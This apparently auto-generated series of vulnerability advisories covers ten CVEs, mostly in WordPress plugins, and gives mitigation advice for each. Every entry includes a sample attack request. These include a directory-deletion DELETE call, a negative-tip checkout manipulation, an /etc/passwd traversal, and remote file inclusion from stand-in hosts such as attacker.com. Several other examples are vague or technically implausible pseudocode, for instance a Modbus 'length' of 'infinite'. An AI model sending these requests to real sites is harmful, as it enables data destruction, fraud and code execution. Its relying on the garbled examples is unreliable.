Author: Ameeba

Overview

The NextGEN Gallery plugin for WordPress has been discovered to contain a severe security vulnerability that could allow unauthenticated attackers to delete arbitrary directories on the server. This vulnerability, designated as CVE-2025-7641, affects all versions up to and including 1.0.9 of the plugin, and poses a significant risk to WordPress websites that utilize this plugin. The potential damage of this vulnerability includes system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-7641
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

NextGEN Gallery Plugin for WordPress | Up to and including 1.0.9

How the Exploit Works

The vulnerability lies in the insufficient file path validation in the /wp-json/nextgenassistant/v1.0.0/control REST endpoint, which allows attackers to delete arbitrary directories on the server. Unauthenticated attackers can send malicious requests to this endpoint to exploit the vulnerability and cause a complete loss of availability on the server.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This is a sample HTTP DELETE request that targets the vulnerable REST endpoint:

DELETE /wp-json/nextgenassistant/v1.0.0/control?dir=/var/www/html/ HTTP/1.1
Host: target.example.com

By sending this request, an attacker could potentially delete the entire `/var/www/html/` directory on the server, causing a complete loss of availability.

Mitigation Guidance

The recommended mitigation strategy is to apply the vendor patch as soon as it becomes available. If the patch is not immediately available, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. Regularly updating and patching software is crucial to maintaining the security integrity of your systems.

Overview

The CVE-2025-6025 is a significant cybersecurity vulnerability affecting the Order Tip for WooCommerce plugin for WordPress. This vulnerability, which affects all versions up to, and including, 1.5.4, allows unauthenticated attackers to manipulate the `data-tip` attribute, potentially leading to unauthorized discounts and even free orders. Therefore, it poses a substantial risk to e-commerce sites using this plugin and can result in significant financial loss.

Vulnerability Summary

CVE ID: CVE-2025-6025
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized manipulation of order values, potential system compromise, or data leakage

Affected Products

Product | Affected Versions

Order Tip for WooCommerce Plugin for WordPress | All versions up to and including 1.5.4

How the Exploit Works

The exploit takes advantage of the lack of server-side validation on the `data-tip` attribute. A malicious actor can manipulate the tip amount for an order, applying an excessive or even negative amount. This manipulation can result in unauthorized discounts up to free orders depending on the value submitted by the attacker. Since the vulnerability does not require authentication, it can be exploited by anyone who can interact with the network.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

POST /checkout HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"order": {
"items": [...],
"payment": {
"method": "credit_card",
...
},
"tip": {
"data-tip": "-10000"
}
}
}

In this example, the attacker is placing an order and setting a negative tip value (`”data-tip”: “-10000″`). Since there’s no server-side validation, the application subtracts this tip from the total order amount, effectively giving the attacker a large discount on their order.

Mitigation Measures

To mitigate the risk posed by this vulnerability, users of the affected plugin are advised to apply the vendor patch as soon as it becomes available. In the meantime, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could serve as a temporary mitigation strategy, providing an additional layer of security against potential exploitation.

Overview

The vulnerability CVE-2025-51986 is a critical cybersecurity issue discovered in the demo/LINUXTCP implementation of cwalter-at freemodbus v.2018-09-12. This vulnerability can allow attackers to trigger an infinite loop in the system via a crafted packet length value. The vulnerability primarily affects users or systems utilizing the said freemodbus component and poses a significant risk due to its potential for system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-51986
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

freemodbus | v.2018-09-12

How the Exploit Works

The exploit works by crafting a packet with a specific length value that could trigger an infinite loop in the demo/LINUXTCP implementation of freemodbus. This loop can cause system instability, potentially leading to system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This pseudocode represents a crafted packet with a malicious length value that could trigger the infinite loop.

POST /LINUXTCP/freemodbus HTTP/1.1
Host: target.example.com
Content-Type: application/mbap
{ "transaction_identifier": "1234", "protocol_identifier": "00", "length": "infinite", "unit_identifier": "01" }

Mitigation

To mitigate this vulnerability, users are advised to apply the vendor-provided patch as soon as it’s available. In the meantime, users could employ Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as temporary mitigation strategies. These tools can help detect and block malicious packets, preventing attackers from exploiting this vulnerability.

Overview

This report discusses the critical vulnerability (CVE-2023-43692) identified in Malwarebytes, which specifically affects versions before 4.6.14.326 and before 5.1.5.116, as well as Nebula 2020-10-21 and later versions. The vulnerability is significant because it enables out-of-bound reads in string detection utilities, leading to potential system crashes and potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2023-43692
Severity: High (7.5 CVSS Severity Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System crashes, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

Malwarebytes | Before 4.6.14.326
Malwarebytes | Before 5.1.5.116
Nebula | 2020-10-21 and later

How the Exploit Works

The exploit manipulates the string detection utilities of the affected Malwarebytes versions by inducing an out-of-bounds read. This mismanagement of the memory buffer can cause the system to crash, providing an opportunity for malicious actors to compromise the system or leak sensitive information.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. This is not an actual code but a hypothetical representation to understand the nature of the exploit.

POST /malwarebytes/string-detection/utilities HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
{ "malicious_string": "«Invalid memory reference exceeding buffer limits»" }

This malicious request targets the string detection utilities, causing an out-of-bounds read that could lead to system crashes.

Mitigation Guidance

Users of the affected versions of Malwarebytes and Nebula are strongly advised to apply the vendor patch. If that is not immediately possible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure. However, these are just temporary solutions and may not completely protect the system from the exploit. Upgrading to a version beyond 4.6.14.326 for Malwarebytes, beyond 5.1.5.116 for Malwarebytes, or beyond 2020-10-21 for Nebula is the most reliable solution.

Overview

The uncovered vulnerability CVE-2025-54692 presents a serious security risk for users of the WP Swings Membership for WooCommerce plugin. This issue lies in the missing authorization vulnerability, which potentially allows unauthorized users to access functionalities that should be constrained by Access Control Lists (ACLs). If exploited, this vulnerability could lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-54692
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Possible system compromise and data leakage

Affected Products

Product | Affected Versions

Membership For WooCommerce | n/a through 2.9.0

How the Exploit Works

The vulnerability exploits the lack of proper authorization checks in the WP Swings Membership for WooCommerce plugin. This allows an attacker to bypass ACLs and gain unauthorized access to functionalities that should be restricted. With this access, the attacker could potentially compromise the system or leak sensitive data.

Conceptual Example Code

An attacker could potentially exploit the vulnerability by sending a malicious HTTP request to the server, like shown in the example below:

POST /WPSwingsMembership/access HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user_auth": "false", "access_payload": "unauthorized_data_access" }

In this example, the “user_auth” value is set to “false”, indicating that the user is not authorized. However, because of the missing authorization vulnerability, the request could still be processed, giving the attacker unauthorized access to the data referenced in the “access_payload”.

Mitigation Guidance

It is recommended to apply the vendor-provided patch to resolve this vulnerability. Alternatively, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used for temporary mitigation. Regularly updating your software and maintaining a strong security posture can also help prevent exploitation of such vulnerabilities.

Overview

This report provides an in-depth analysis of CVE-2025-54679, a missing authorization vulnerability identified in the Vertim Neon Channel Product Customizer Free. This vulnerability affects versions up to 2.0 of the product and poses a significant risk due to the potential for system compromise and data leakage. Addressing this vulnerability is imperative to maintain secure and reliable systems.

Vulnerability Summary

CVE ID: CVE-2025-54679
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Vertim Neon Channel Product Customizer Free | Up to 2.0

How the Exploit Works

This vulnerability arises from a misconfiguration in the access control security levels of the Vertim Neon Channel Product Customizer Free. Specifically, authorization checks are missing in certain parts of the application, allowing an unauthenticated user to perform privileged actions that should be restricted. An attacker could exploit this vulnerability by sending specially crafted network packets to the target system, potentially leading to unauthorized system access or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This pseudocode represents a malicious payload sent to the vulnerable endpoint:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "exploit": "bypass_authorization", "action": "privileged_action" }

This payload would allow the attacker to perform privileged actions without the necessary authorization, thereby exploiting the vulnerability.

Mitigation Guidance

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can help to detect and block malicious traffic, reducing the risk of exploitation. Regularly updating and patching systems is a critical part of maintaining cybersecurity.

Overview

The CVE-2025-52806 is a significant vulnerability that affects eyecix JobSearch, a widely used job search engine. This vulnerability arises due to an improper control of filename for Include/Require Statement in the PHP program. If exploited, it can lead to substantial system compromise and data leakage, posing a serious threat to the integrity and confidentiality of the user’s data.

Vulnerability Summary

CVE ID: CVE-2025-52806
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

JobSearch | n/a through 2.9.0

How the Exploit Works

The exploit works by leveraging the improper handling of Include/Require statements in the PHP program of eyecix JobSearch. An attacker can remotely include a file from a malicious server, which can then be executed in the server context. This exploit is often used to inject malicious code and compromise the system, potentially leading to data leakage.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited:

GET /jobsearch.php?file=http://malicious.com/malicious_file.php HTTP/1.1
Host: target.example.com

In the above example, the attacker is trying to include a malicious file (`malicious_file.php`) from a remote server (`malicious.com`). If the server fails to properly validate the `file` parameter, it might include and execute the malicious file.

Overview

The CVE-2025-52731 vulnerability is a Missing Authorization flaw in the WordPress Event Manager, Event Calendar and Booking Plugin. This vulnerability affects WordPress websites using these plugins up to version 4.0.24. It poses a significant threat as it can potentially lead to system compromise or data leakage by exploiting incorrectly configured Access Control Security Levels.

Vulnerability Summary

CVE ID: CVE-2025-52731
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WordPress Event Manager Plugin | Up to 4.0.24
WordPress Event Calendar Plugin | Up to 4.0.24
WordPress Booking Plugin | Up to 4.0.24

How the Exploit Works

The exploit works by taking advantage of incorrectly configured Access Control Security Levels in the WordPress Event Manager, Event Calendar and Booking Plugin. An attacker with low-level privileges can abuse this vulnerability, bypassing access controls to gain unauthorized access to restricted parts of the system or perform unauthorized actions.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that an attacker might use:

POST /wp-event-manager-endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"action": "unauthorized_action",
"data": "malicious_data"
}

In this example, the attacker sends a POST request to the vulnerable endpoint (`/wp-event-manager-endpoint`) of the WordPress site. The `action` field is set to an unauthorized action, and the `data` field contains malicious data that the attacker wants the system to process.

Solution and Mitigations

The definitive solution to this vulnerability is to apply the patch provided by the vendor. If the patch cannot be applied immediately, a temporary mitigation would be to utilize a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block exploit attempts. Regularly updating all software, including WordPress and its plugins, is also a recommended practice to prevent exploitation of known vulnerabilities.

Overview

The following report details a significant security vulnerability, CVE-2025-52728, found within the Responsive Posts Carousel WordPress Plugin. This flaw exposes systems to PHP Local File Inclusion (LFI) attacks, potentially leading to system compromise and data leakage. Developers, administrators, and users leveraging this plugin need to be aware of this vulnerability due to its high severity and the potential for misuse.

Vulnerability Summary

CVE ID: CVE-2025-52728
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

Responsive Posts Carousel WordPress Plugin | from n/a through 15.0

How the Exploit Works

The flaw lies in the “Improper Control of Filename for Include/Require Statement in PHP Program” within the WordPress plugin. This allows an attacker to perform a PHP Local File Inclusion attack. By manipulating the file include statements, an attacker can trick the system into executing arbitrary PHP code in the server context, potentially leading to total system compromise.

Conceptual Example Code

Below is a high-level, conceptual example of how this vulnerability might be exploited:

GET /wp-content/plugins/responsive-posts-carousel/file.php?path=../../../../../etc/passwd HTTP/1.1
Host: vulnerablewebsite.com

In this hypothetical example, the attacker attempts to access and display the contents of the ‘/etc/passwd’ file, a common Unix-based file containing user information. If successful, this could reveal sensitive information to the attacker.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor-supplied patch as soon as possible. If a patch is not yet available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can potentially block or alert on attempts to exploit this vulnerability.

Overview

This report outlines a critical vulnerability, CVE-2025-52716, in Acato WP REST Cache that impacts PHP applications. A PHP Remote File Inclusion issue allows for PHP Local File Inclusion, enabling potential attackers to compromise systems or leak data. Cybersecurity teams need to address this vulnerability promptly due to its severity and the potential damage it could cause.

Vulnerability Summary

CVE ID: CVE-2025-52716
Severity: High Risk (CVSS: 7.5)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Acato WP REST Cache | Versions up to 2025.1.0

How the Exploit Works

The CVE-2025-52716 vulnerability arises from an improper control of filename for Include/Require Statement in a PHP Program. This flaw allows an attacker to manipulate the filename, leading to a PHP Remote File Inclusion. The attacker can potentially include malicious PHP files from remote servers, leading to PHP Local File Inclusion, thus taking control of the system or causing data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

GET /wp-rest-cache/vulnerable.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com

In the example above, the attacker uses a GET request to include a malicious PHP file (`malicious.php`) hosted on their server (`attacker.com`) into the `vulnerable.php` script on the target server (`target.example.com`).

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply patches provided by the vendor as soon as they are available. Until a permanent fix is available, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure to block attempts to exploit this vulnerability.